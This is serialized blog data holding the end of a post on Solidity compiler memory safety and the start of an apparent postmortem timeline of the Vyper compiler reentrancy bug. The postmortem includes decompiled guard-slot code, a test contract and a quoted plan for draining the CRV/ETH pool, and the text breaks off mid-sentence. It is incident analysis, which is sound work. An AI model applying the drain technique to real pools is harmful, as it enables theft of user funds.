times.",{"type":24,"tag":3100,"props":31767,"children":31768},{},[31769,31774,31789],{"type":24,"tag":3104,"props":31770,"children":31771},{},[31772],{"type":29,"value":31773},"The existence of a dangling reference",{"type":24,"tag":3104,"props":31775,"children":31776},{},[31777,31779],{"type":29,"value":31778},"Using verbatim improperly",{"type":24,"tag":1978,"props":31780,"children":31781},{},[31782],{"type":24,"tag":69,"props":31783,"children":31787},{"href":31784,"ariaDescribedBy":31785,"dataFootnoteRef":7,"id":31786},"#user-content-fn-2",[1985],"user-content-fnref-2",[31788],{"type":29,"value":3191},{"type":24,"tag":3104,"props":31790,"children":31791},{},[31792],{"type":29,"value":31793},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":24,"tag":25,"props":31795,"children":31796},{},[31797],{"type":29,"value":31798},"Why does this matter?",{"type":24,"tag":25,"props":31800,"children":31801},{},[31802,31804,31811,31813,31820],{"type":29,"value":31803},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":24,"tag":69,"props":31805,"children":31808},{"href":31806,"rel":31807},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[73],[31809],{"type":29,"value":31810},"signed integer overflow is undefined",{"type":29,"value":31812},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":24,"tag":69,"props":31814,"children":31817},{"href":31815,"rel":31816},"https://blog.regehr.org/archives/1307",[73],[31818],{"type":29,"value":31819},"years down the line",{"type":29,"value":226},{"type":24,"tag":25,"props":31822,"children":31823},{},[31824,31826,31833,31834,31839],{"type":29,"value":31825},"Going back to Solidity, the specification makes ",{"type":24,"tag":69,"props":31827,"children":31830},{"href":31828,"rel":31829},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[73],[31831],{"type":29,"value":31832},"it unambiguously clear",{"type":29,"value":5057},{"type":24,"tag":842,"props":31835,"children":31836},{},[31837],{"type":29,"value":31838},"Thou shalt not modify the zero slot",{"type":29,"value":226},{"type":24,"tag":5339,"props":31841,"children":31842},{},[31843],{"type":24,"tag":25,"props":31844,"children":31845},{},[31846],{"type":29,"value":31847},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":24,"tag":25,"props":31849,"children":31850},{},[31851,31853,31858],{"type":29,"value":31852},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":24,"tag":842,"props":31854,"children":31855},{},[31856],{"type":29,"value":31857},"in Solidity",{"type":29,"value":226},{"type":24,"tag":25,"props":31860,"children":31861},{},[31862],{"type":29,"value":31863},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":24,"tag":3100,"props":31865,"children":31866},{},[31867],{"type":24,"tag":3104,"props":31868,"children":31869},{},[31870,31872,31879],{"type":29,"value":31871},"It very clearly ",{"type":24,"tag":69,"props":31873,"children":31876},{"href":31874,"rel":31875},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[73],[31877],{"type":29,"value":31878},"holds true today",{"type":29,"value":226},{"type":24,"tag":80,"props":31881,"children":31883},{"className":30921,"code":31882,"language":30923,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n setLocation(_inlineAsm);\n if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n m_context.setMemoryUnsafeInlineAssemblySeen();\n CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[31884],{"type":24,"tag":32,"props":31885,"children":31886},{"__ignoreMap":7},[31887,31927,31934,31947,32019,32040,32091,32098],{"type":24,"tag":90,"props":31888,"children":31889},{"class":92,"line":93},[31890,31894,31899,31904,31908,31913,31918,31923],{"type":24,"tag":90,"props":31891,"children":31892},{"style":97},[31893],{"type":29,"value":31497},{"type":24,"tag":90,"props":31895,"children":31896},{"style":114},[31897],{"type":29,"value":31898}," IRGeneratorForStatements::",{"type":24,"tag":90,"props":31900,"children":31901},{"style":108},[31902],{"type":29,"value":31903},"visit",{"type":24,"tag":90,"props":31905,"children":31906},{"style":114},[31907],{"type":29,"value":117},{"type":24,"tag":90,"props":31909,"children":31910},{"style":146},[31911],{"type":29,"value":31912},"InlineAssembly",{"type":24,"tag":90,"props":31914,"children":31915},{"style":97},[31916],{"type":29,"value":31917}," const&",{"type":24,"tag":90,"props":31919,"children":31920},{"style":136},[31921],{"type":29,"value":31922}," _inlineAsm",{"type":24,"tag":90,"props":31924,"children":31925},{"style":114},[31926],{"type":29,"value":1686},{"type":24,"tag":90,"props":31928,"children":31929},{"class":92,"line":200},[31930],{"type":24,"tag":90,"props":31931,"children":31932},{"style":114},[31933],{"type":29,"value":2221},{"type":24,"tag":90,"props":31935,"children":31936},{"class":92,"line":239},[31937,31942],{"type":24,"tag":90,"props":31938,"children":31939},{"style":108},[31940],{"type":29,"value":31941}," setLocation",{"type":24,"tag":90,"props":31943,"children":31944},{"style":114},[31945],{"type":29,"value":31946},"(_inlineAsm);\n",{"type":24,"tag":90,"props":31948,"children":31949},{"class":92,"line":248},[31950,31954,31958,31962,31967,31971,31976,31981,31986,31990,31994,31998,32002,32006,32010,32015],{"type":24,"tag":90,"props":31951,"children":31952},{"style":636},[31953],{"type":29,"value":639},{"type":24,"tag":90,"props":31955,"children":31956},{"style":114},[31957],{"type":29,"value":1151},{"type":24,"tag":90,"props":31959,"children":31960},{"style":120},[31961],{"type":29,"value":983},{"type":24,"tag":90,"props":31963,"children":31964},{"style":136},[31965],{"type":29,"value":31966},"_inlineAsm",{"type":24,"tag":90,"props":31968,"children":31969},{"style":114},[31970],{"type":29,"value":226},{"type":24,"tag":90,"props":31972,"children":31973},{"style":108},[31974],{"type":29,"value":31975},"annotation",{"type":24,"tag":90,"props":31977,"children":31978},{"style":114},[31979],{"type":29,"value":31980},"().",{"type":24,"tag":90,"props":31982,"children":31983},{"style":136},[31984],{"type":29,"value":31985},"hasMemoryEffects",{"type":24,"tag":90,"props":31987,"children":31988},{"style":120},[31989],{"type":29,"value":649},{"type":24,"tag":90,"props":31991,"children":31992},{"style":120},[31993],{"type":29,"value":2089},{"type":24,"tag":90,"props":31995,"children":31996},{"style":136},[31997],{"type":29,"value":31966},{"type":24,"tag":90,"props":31999,"children":32000},{"style":114},[32001],{"type":29,"value":226},{"type":24,"tag":90,"props":32003,"children":32004},{"style":108},[32005],{"type":29,"value":31975},{"type":24,"tag":90,"props":32007,"children":32008},{"style":114},[32009],{"type":29,"value":31980},{"type":24,"tag":90,"props":32011,"children":32012},{"style":136},[32013],{"type":29,"value":32014},"markedMemorySafe",{"type":24,"tag":90,"props":32016,"children":32017},{"style":114},[32018],{"type":29,"value":1686},{"type":24,"tag":90,"props":32020,"children":32021},{"class":92,"line":258},[32022,32027,32031,32036],{"type":24,"tag":90,"props":32023,"children":32024},{"style":136},[32025],{"type":29,"value":32026}," m_context",{"type":24,"tag":90,"props":32028,"children":32029},{"style":114},[32030],{"type":29,"value":226},{"type":24,"tag":90,"props":32032,"children":32033},{"style":108},[32034],{"type":29,"value":32035},"setMemoryUnsafeInlineAssemblySeen",{"type":24,"tag":90,"props":32037,"children":32038},{"style":114},[32039],{"type":29,"value":236},{"type":24,"tag":90,"props":32041,"children":32042},{"class":92,"line":272},[32043,32048,32052,32056,32061,32066,32070,32074,32078,32082,32087],{"type":24,"tag":90,"props":32044,"children":32045},{"style":114},[32046],{"type":29,"value":32047}," CopyTranslate bodyCopier{",{"type":24,"tag":90,"props":32049,"children":32050},{"style":136},[32051],{"type":29,"value":31966},{"type":24,"tag":90,"props":32053,"children":32054},{"style":114},[32055],{"type":29,"value":226},{"type":24,"tag":90,"props":32057,"children":32058},{"style":108},[32059],{"type":29,"value":32060},"dialect",{"type":24,"tag":90,"props":32062,"children":32063},{"style":114},[32064],{"type":29,"value":32065},"(), m_context, ",{"type":24,"tag":90,"props":32067,"children":32068},{"style":136},[32069],{"type":29,"value":31966},{"type":24,"tag":90,"props":32071,"children":32072},{"style":114},[32073],{"type":29,"value":226},{"type":24,"tag":90,"props":32075,"children":32076},{"style":108},[32077],{"type":29,"value":31975},{"type":24,"tag":90,"props":32079,"children":32080},{"style":114},[32081],{"type":29,"value":31980},{"type":24,"tag":90,"props":32083,"children":32084},{"style":136},[32085],{"type":29,"value":32086},"externalReferences",{"type":24,"tag":90,"props":32088,"children":32089},{"style":114},[32090],{"type":29,"value":3093},{"type":24,"tag":90,"props":32092,"children":32093},{"class":92,"line":281},[32094],{"type":24,"tag":90,"props":32095,"children":32096},{"emptyLinePlaceholder":16},[32097],{"type":29,"value":245},{"type":24,"tag":90,"props":32099,"children":32100},{"class":92,"line":384},[32101,32106,32110,32115,32119,32123,32127,32132],{"type":24,"tag":90,"props":32102,"children":32103},{"style":114},[32104],{"type":29,"value":32105}," yul::Statement modified ",{"type":24,"tag":90,"props":32107,"children":32108},{"style":120},[32109],{"type":29,"value":5491},{"type":24,"tag":90,"props":32111,"children":32112},{"style":108},[32113],{"type":29,"value":32114}," bodyCopier",{"type":24,"tag":90,"props":32116,"children":32117},{"style":114},[32118],{"type":29,"value":117},{"type":24,"tag":90,"props":32120,"children":32121},{"style":136},[32122],{"type":29,"value":31966},{"type":24,"tag":90,"props":32124,"children":32125},{"style":114},[32126],{"type":29,"value":226},{"type":24,"tag":90,"props":32128,"children":32129},{"style":108},[32130],{"type":29,"value":32131},"operations",{"type":24,"tag":90,"props":32133,"children":32134},{"style":114},[32135],{"type":29,"value":32136},"());`\n",{"type":24,"tag":3100,"props":32138,"children":32139},{"start":200},[32140],{"type":24,"tag":3104,"props":32141,"children":32142},{},[32143],{"type":29,"value":32144},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":24,"tag":25,"props":32146,"children":32147},{},[32148],{"type":29,"value":32149},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":24,"tag":850,"props":32151,"children":32152},{"id":7696},[32153],{"type":29,"value":7699},{"type":24,"tag":25,"props":32155,"children":32156},{},[32157],{"type":29,"value":32158},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":24,"tag":25,"props":32160,"children":32161},{},[32162],{"type":29,"value":32163},"It's a promise between YUL generation and optimization.",{"type":24,"tag":4947,"props":32165,"children":32167},{"className":32166,"dataFootnotes":7},[4950],[32168,32173],{"type":24,"tag":850,"props":32169,"children":32171},{"className":32170,"id":1985},[4955],[32172],{"type":29,"value":4958},{"type":24,"tag":3100,"props":32174,"children":32175},{},[32176,32210],{"type":24,"tag":3104,"props":32177,"children":32179},{"id":32178},"user-content-fn-1",[32180,32182,32187,32189,32195,32197,32202,32204],{"type":29,"value":32181},"As an interesting aside, ",{"type":24,"tag":32,"props":32183,"children":32185},{"className":32184},[],[32186],{"type":29,"value":31182},{"type":29,"value":32188}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":24,"tag":32,"props":32190,"children":32192},{"className":32191},[],[32193],{"type":29,"value":32194},"memory-unsafe",{"type":29,"value":32196}," code can ",{"type":24,"tag":842,"props":32198,"children":32199},{},[32200],{"type":29,"value":32201},"decrease",{"type":29,"value":32203}," gas consumption, especially in the YUL header. ",{"type":24,"tag":69,"props":32205,"children":32208},{"href":32206,"ariaLabel":5061,"className":32207,"dataFootnoteBackref":7},"#user-content-fnref-1",[5063],[32209],{"type":29,"value":5066},{"type":24,"tag":3104,"props":32211,"children":32213},{"id":32212},"user-content-fn-2",[32214,32216,32221,32223],{"type":29,"value":32215},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":24,"tag":842,"props":32217,"children":32218},{},[32219],{"type":29,"value":32220},"guarantee",{"type":29,"value":32222}," behavior with opaque bytes. ",{"type":24,"tag":69,"props":32224,"children":32227},{"href":32225,"ariaLabel":5081,"className":32226,"dataFootnoteBackref":7},"#user-content-fnref-2",[5063],[32228],{"type":29,"value":5066},{"type":24,"tag":5249,"props":32230,"children":32231},{},[32232],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":32234},[32235,32236,32237,32238,32239,32240,32241],{"id":30826,"depth":200,"text":30829},{"id":30880,"depth":200,"text":30883},{"id":31144,"depth":200,"text":31147},{"id":30875,"depth":200,"text":31368},{"id":31715,"depth":200,"text":31718},{"id":7696,"depth":200,"text":7699},{"id":1985,"depth":200,"text":4958},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":32246,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":32247,"description":32248,"author":8106,"image":32249,"date":32251,"isFeatured":16,"onBlogPage":16,"tags":32252,"body":32254,"_type":5270,"_id":33005,"_source":5272,"_file":33006,"_stem":33007,"_extension":5275},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":32250,"height":14,"width":14},"/posts/vyper-timeline/header.jpg","2023-08-01",[32253,30821],"vyper",{"type":21,"children":32255,"toc":32996},[32256,32261,32266,32271,32277,32282,32300,32310,32315,32323,32333,32352,32432,32442,32602,32607,32612,32622,32629,32634,32639,32653,32658,32675,32692,32711,32721,32734,32739,32752,32757,32762,32772,32799,32809,32839,32845,32854,32860,32865,32870,32875,32881,32886,32900,32905,32910,32915,32921,32926,32939,32965,32970,32992],{"type":24,"tag":25,"props":32257,"children":32258},{},[32259],{"type":29,"value":32260},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":24,"tag":25,"props":32262,"children":32263},{},[32264],{"type":29,"value":32265},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":24,"tag":25,"props":32267,"children":32268},{},[32269],{"type":29,"value":32270},"Here's how it all happened.",{"type":24,"tag":850,"props":32272,"children":32274},{"id":32273},"timeline",[32275],{"type":29,"value":32276},"Timeline",{"type":24,"tag":25,"props":32278,"children":32279},{},[32280],{"type":29,"value":32281},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":24,"tag":25,"props":32283,"children":32284},{},[32285,32290,32292,32299],{"type":24,"tag":7711,"props":32286,"children":32287},{},[32288],{"type":29,"value":32289},"13:10 UTC",{"type":29,"value":32291}," pETH/ETH was ",{"type":24,"tag":69,"props":32293,"children":32296},{"href":32294,"rel":32295},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[73],[32297],{"type":29,"value":32298},"drained of $11M",{"type":29,"value":226},{"type":24,"tag":25,"props":32301,"children":32302},{},[32303,32308],{"type":24,"tag":7711,"props":32304,"children":32305},{},[32306],{"type":29,"value":32307},"13:19 UTC",{"type":29,"value":32309}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":24,"tag":25,"props":32311,"children":32312},{},[32313],{"type":29,"value":32314},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":24,"tag":5339,"props":32316,"children":32317},{},[32318],{"type":24,"tag":25,"props":32319,"children":32320},{},[32321],{"type":29,"value":32322},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":24,"tag":25,"props":32324,"children":32325},{},[32326,32331],{"type":24,"tag":7711,"props":32327,"children":32328},{},[32329],{"type":29,"value":32330},"14:01 UTC",{"type":29,"value":32332}," A warroom was formed around this comment.",{"type":24,"tag":25,"props":32334,"children":32335},{},[32336,32341,32343,32350],{"type":24,"tag":7711,"props":32337,"children":32338},{},[32339],{"type":29,"value":32340},"14:07 UTC",{"type":29,"value":32342}," We decompiled the JPEGd contract ",{"type":24,"tag":69,"props":32344,"children":32347},{"href":32345,"rel":32346},"https://ethervm.io/decompile",[73],[32348],{"type":29,"value":32349},"with our favorite decompiler",{"type":29,"value":32351}," and noted a difference in reentrancy guard storage slot.",{"type":24,"tag":80,"props":32353,"children":32357},{"className":32354,"code":32355,"language":32356,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n if (storage[0x00]) { revert(memory[0x00:0x00]); }\n storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n if (storage[0x02]) { revert(memory[0x00:0x00]); }\n storage[0x02] = 0x01;\n","yul",[32358],{"type":24,"tag":32,"props":32359,"children":32360},{"__ignoreMap":7},[32361,32369,32377,32385,32393,32400,32408,32416,32424],{"type":24,"tag":90,"props":32362,"children":32363},{"class":92,"line":93},[32364],{"type":24,"tag":90,"props":32365,"children":32366},{},[32367],{"type":29,"value":32368},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":24,"tag":90,"props":32370,"children":32371},{"class":92,"line":200},[32372],{"type":24,"tag":90,"props":32373,"children":32374},{},[32375],{"type":29,"value":32376},"label_0057:\n",{"type":24,"tag":90,"props":32378,"children":32379},{"class":92,"line":239},[32380],{"type":24,"tag":90,"props":32381,"children":32382},{},[32383],{"type":29,"value":32384}," if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":24,"tag":90,"props":32386,"children":32387},{"class":92,"line":248},[32388],{"type":24,"tag":90,"props":32389,"children":32390},{},[32391],{"type":29,"value":32392}," storage[0x00] = 0x01;\n",{"type":24,"tag":90,"props":32394,"children":32395},{"class":92,"line":258},[32396],{"type":24,"tag":90,"props":32397,"children":32398},{"emptyLinePlaceholder":16},[32399],{"type":29,"value":245},{"type":24,"tag":90,"props":32401,"children":32402},{"class":92,"line":272},[32403],{"type":24,"tag":90,"props":32404,"children":32405},{},[32406],{"type":29,"value":32407},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":24,"tag":90,"props":32409,"children":32410},{"class":92,"line":281},[32411],{"type":24,"tag":90,"props":32412,"children":32413},{},[32414],{"type":29,"value":32415},"label_1AF3:\n",{"type":24,"tag":90,"props":32417,"children":32418},{"class":92,"line":384},[32419],{"type":24,"tag":90,"props":32420,"children":32421},{},[32422],{"type":29,"value":32423}," if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":24,"tag":90,"props":32425,"children":32426},{"class":92,"line":420},[32427],{"type":24,"tag":90,"props":32428,"children":32429},{},[32430],{"type":29,"value":32431}," storage[0x02] = 0x01;\n",{"type":24,"tag":25,"props":32433,"children":32434},{},[32435,32440],{"type":24,"tag":7711,"props":32436,"children":32437},{},[32438],{"type":29,"value":32439},"14:27 UTC",{"type":29,"value":32441}," We confirmed this behavior with a simple local test contract.",{"type":24,"tag":80,"props":32443,"children":32445},{"className":21256,"code":32444,"language":21255,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n return False\n",[32446],{"type":24,"tag":32,"props":32447,"children":32448},{"__ignoreMap":7},[32449,32457,32478,32513,32525,32532,32539,32558,32590],{"type":24,"tag":90,"props":32450,"children":32451},{"class":92,"line":93},[32452],{"type":24,"tag":90,"props":32453,"children":32454},{"style":108},[32455],{"type":29,"value":32456},"@external\n",{"type":24,"tag":90,"props":32458,"children":32459},{"class":92,"line":200},[32460,32465,32469,32474],{"type":24,"tag":90,"props":32461,"children":32462},{"style":108},[32463],{"type":29,"value":32464},"@nonreentrant",{"type":24,"tag":90,"props":32466,"children":32467},{"style":114},[32468],{"type":29,"value":117},{"type":24,"tag":90,"props":32470,"children":32471},{"style":1085},[32472],{"type":29,"value":32473},"\"lock\"",{"type":24,"tag":90,"props":32475,"children":32476},{"style":114},[32477],{"type":29,"value":1686},{"type":24,"tag":90,"props":32479,"children":32480},{"class":92,"line":239},[32481,32486,32491,32495,32500,32505,32509],{"type":24,"tag":90,"props":32482,"children":32483},{"style":97},[32484],{"type":29,"value":32485},"def",{"type":24,"tag":90,"props":32487,"children":32488},{"style":108},[32489],{"type":29,"value":32490}," test",{"type":24,"tag":90,"props":32492,"children":32493},{"style":114},[32494],{"type":29,"value":117},{"type":24,"tag":90,"props":32496,"children":32497},{"style":136},[32498],{"type":29,"value":32499},"addr",{"type":24,"tag":90,"props":32501,"children":32502},{"style":114},[32503],{"type":29,"value":32504},": address) -> ",{"type":24,"tag":90,"props":32506,"children":32507},{"style":146},[32508],{"type":29,"value":31497},{"type":24,"tag":90,"props":32510,"children":32511},{"style":114},[32512],{"type":29,"value":7954},{"type":24,"tag":90,"props":32514,"children":32515},{"class":92,"line":248},[32516,32520],{"type":24,"tag":90,"props":32517,"children":32518},{"style":636},[32519],{"type":29,"value":3510},{"type":24,"tag":90,"props":32521,"children":32522},{"style":97},[32523],{"type":29,"value":32524}," True\n",{"type":24,"tag":90,"props":32526,"children":32527},{"class":92,"line":258},[32528],{"type":24,"tag":90,"props":32529,"children":32530},{"emptyLinePlaceholder":16},[32531],{"type":29,"value":245},{"type":24,"tag":90,"props":32533,"children":32534},{"class":92,"line":272},[32535],{"type":24,"tag":90,"props":32536,"children":32537},{"style":108},[32538],{"type":29,"value":32456},{"type":24,"tag":90,"props":32540,"children":32541},{"class":92,"line":281},[32542,32546,32550,32554],{"type":24,"tag":90,"props":32543,"children":32544},{"style":108},[32545],{"type":29,"value":32464},{"type":24,"tag":90,"props":32547,"children":32548},{"style":114},[32549],{"type":29,"value":117},{"type":24,"tag":90,"props":32551,"children":32552},{"style":1085},[32553],{"type":29,"value":32473},{"type":24,"tag":90,"props":32555,"children":32556},{"style":114},[32557],{"type":29,"value":1686},{"type":24,"tag":90,"props":32559,"children":32560},{"class":92,"line":384},[32561,32565,32570,32574,32578,32582,32586],{"type":24,"tag":90,"props":32562,"children":32563},{"style":97},[32564],{"type":29,"value":32485},{"type":24,"tag":90,"props":32566,"children":32567},{"style":108},[32568],{"type":29,"value":32569}," test2",{"type":24,"tag":90,"props":32571,"children":32572},{"style":114},[32573],{"type":29,"value":117},{"type":24,"tag":90,"props":32575,"children":32576},{"style":136},[32577],{"type":29,"value":32499},{"type":24,"tag":90,"props":32579,"children":32580},{"style":114},[32581],{"type":29,"value":32504},{"type":24,"tag":90,"props":32583,"children":32584},{"style":146},[32585],{"type":29,"value":31497},{"type":24,"tag":90,"props":32587,"children":32588},{"style":114},[32589],{"type":29,"value":7954},{"type":24,"tag":90,"props":32591,"children":32592},{"class":92,"line":420},[32593,32597],{"type":24,"tag":90,"props":32594,"children":32595},{"style":636},[32596],{"type":29,"value":3510},{"type":24,"tag":90,"props":32598,"children":32599},{"style":97},[32600],{"type":29,"value":32601}," False\n",{"type":24,"tag":25,"props":32603,"children":32604},{},[32605],{"type":29,"value":32606},"This was not just another reentrancy bug.",{"type":24,"tag":25,"props":32608,"children":32609},{},[32610],{"type":29,"value":32611},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":24,"tag":25,"props":32613,"children":32614},{},[32615,32620],{"type":24,"tag":7711,"props":32616,"children":32617},{},[32618],{"type":29,"value":32619},"14:37 UTC",{"type":29,"value":32621}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":24,"tag":25,"props":32623,"children":32624},{},[32625],{"type":24,"tag":6301,"props":32626,"children":32628},{"alt":7,"src":32627},"/posts/vyper-timeline/sstore.png",[],{"type":24,"tag":25,"props":32630,"children":32631},{},[32632],{"type":29,"value":32633},"It was a race with the hackers.",{"type":24,"tag":25,"props":32635,"children":32636},{},[32637],{"type":29,"value":32638},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":24,"tag":5339,"props":32640,"children":32641},{},[32642],{"type":24,"tag":25,"props":32643,"children":32644},{},[32645,32647],{"type":29,"value":32646},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":24,"tag":69,"props":32648,"children":32651},{"href":32649,"rel":32650},"https://twitter.com/hexagate_/status/1685677801813217280",[73],[32652],{"type":29,"value":32649},{"type":24,"tag":25,"props":32654,"children":32655},{},[32656],{"type":29,"value":32657},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":24,"tag":25,"props":32659,"children":32660},{},[32661,32666,32667,32674],{"type":24,"tag":7711,"props":32662,"children":32663},{},[32664],{"type":29,"value":32665},"14:50 UTC",{"type":29,"value":2877},{"type":24,"tag":69,"props":32668,"children":32671},{"href":32669,"rel":32670},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[73],[32672],{"type":29,"value":32673},"msETH/ETH was drained",{"type":29,"value":226},{"type":24,"tag":25,"props":32676,"children":32677},{},[32678,32683,32684,32691],{"type":24,"tag":7711,"props":32679,"children":32680},{},[32681],{"type":29,"value":32682},"15:34 UTC",{"type":29,"value":2877},{"type":24,"tag":69,"props":32685,"children":32688},{"href":32686,"rel":32687},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[73],[32689],{"type":29,"value":32690},"alETH/ETH was drained",{"type":29,"value":226},{"type":24,"tag":25,"props":32693,"children":32694},{},[32695,32700,32702,32709],{"type":24,"tag":7711,"props":32696,"children":32697},{},[32698],{"type":29,"value":32699},"15:43 UTC",{"type":29,"value":32701}," We identified that ",{"type":24,"tag":69,"props":32703,"children":32706},{"href":32704,"rel":32705},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[73],[32707],{"type":29,"value":32708},"CRV/ETH was vulnerable",{"type":29,"value":32710},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":24,"tag":25,"props":32712,"children":32713},{},[32714,32719],{"type":24,"tag":7711,"props":32715,"children":32716},{},[32717],{"type":29,"value":32718},"16:11 UTC",{"type":29,"value":32720}," We began working on a whitehat exploit.",{"type":24,"tag":25,"props":32722,"children":32723},{},[32724,32726,32733],{"type":29,"value":32725},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":24,"tag":69,"props":32727,"children":32730},{"href":32728,"rel":32729},"https://twitter.com/vyperlang/status/1685692973051498497",[73],[32731],{"type":29,"value":32732},"public statement on affected versions",{"type":29,"value":226},{"type":24,"tag":25,"props":32735,"children":32736},{},[32737],{"type":29,"value":32738},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":24,"tag":25,"props":32740,"children":32741},{},[32742,32744,32751],{"type":29,"value":32743},"Five minutes later at 19:11 UTC, ",{"type":24,"tag":69,"props":32745,"children":32748},{"href":32746,"rel":32747},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[73],[32749],{"type":29,"value":32750},"somebody else stole the funds",{"type":29,"value":226},{"type":24,"tag":25,"props":32753,"children":32754},{},[32755],{"type":29,"value":32756},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":24,"tag":25,"props":32758,"children":32759},{},[32760],{"type":29,"value":32761},"Nevertheless, there was more ground to cover.",{"type":24,"tag":25,"props":32763,"children":32764},{},[32765,32770],{"type":24,"tag":7711,"props":32766,"children":32767},{},[32768],{"type":29,"value":32769},"21:26 UTC",{"type":29,"value":32771}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":24,"tag":5339,"props":32773,"children":32774},{},[32775],{"type":24,"tag":25,"props":32776,"children":32777},{},[32778,32780,32784,32786,32789,32791,32794,32796],{"type":29,"value":32779},"if you send like 30k crv to the crv/eth pool ",{"type":24,"tag":32781,"props":32782,"children":32783},"br",{},[],{"type":29,"value":32785},"\nyou can then update admin fee ",{"type":24,"tag":32781,"props":32787,"children":32788},{},[],{"type":29,"value":32790},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":24,"tag":32781,"props":32792,"children":32793},{},[],{"type":29,"value":32795},"\nso you can basically drain whole pool for few hundred K crv ",{"type":24,"tag":32781,"props":32797,"children":32798},{},[],{"type":24,"tag":25,"props":32800,"children":32801},{},[32802,32807],{"type":24,"tag":7711,"props":32803,"children":32804},{},[32805],{"type":29,"value":32806},"21:52 UTC",{"type":29,"value":32808}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":24,"tag":25,"props":32810,"children":32811},{},[32812,32814,32821,32823,32830,32838],{"type":29,"value":32813},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":24,"tag":69,"props":32815,"children":32818},{"href":32816,"rel":32817},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[73],[32819],{"type":29,"value":32820},"CRV admin fee bot",{"type":29,"value":32822}," had claimed fees and ",{"type":24,"tag":69,"props":32824,"children":32827},{"href":32825,"rel":32826},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[73],[32828],{"type":29,"value":32829},"the pool was 